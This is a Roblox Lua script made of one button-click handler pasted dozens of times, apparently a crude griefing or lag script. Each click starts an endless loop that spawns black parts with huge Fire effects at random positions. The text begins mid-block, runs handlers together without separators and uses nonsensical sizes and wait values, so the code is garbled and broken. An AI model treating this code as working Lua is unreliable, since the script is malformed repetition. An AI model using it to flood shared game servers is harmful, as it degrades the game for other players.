do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end 